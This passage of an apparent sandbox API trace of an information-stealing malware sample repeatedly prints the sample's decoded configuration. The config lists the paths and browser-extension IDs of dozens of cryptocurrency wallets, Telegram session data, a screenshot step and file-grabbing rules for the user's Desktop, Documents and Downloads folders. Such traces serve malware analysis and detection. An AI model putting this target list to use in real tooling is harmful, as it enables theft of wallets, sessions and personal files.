Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4397 [0266.184] LocalAlloc (uFlags=0x40, uBytes=0x22da) returned 0x6fc408 [0266.185] StrCpyW (in: psz1=0x6ef5a0, psz2="Exodus" | out: psz1="Exodus") returned="Exodus" [0266.185] LocalFree (hMem=0x6fc408) returned 0x0 [0266.185] StrStrW (lpFirst="26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.185] lstrlenW (lpString="exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4397 [0266.185] LocalAlloc (uFlags=0x40, uBytes=0x22da) returned 0x6fc408 [0266.185] StrCpyW (in: psz1=0x6f1ee8, psz2="26" | out: psz1="26") returned="26" [0266.186] LocalFree (hMem=0x6fc408) returned 0x0 [0266.186] StrStrW (lpFirst="exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.186] lstrlenW (lpString="exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus 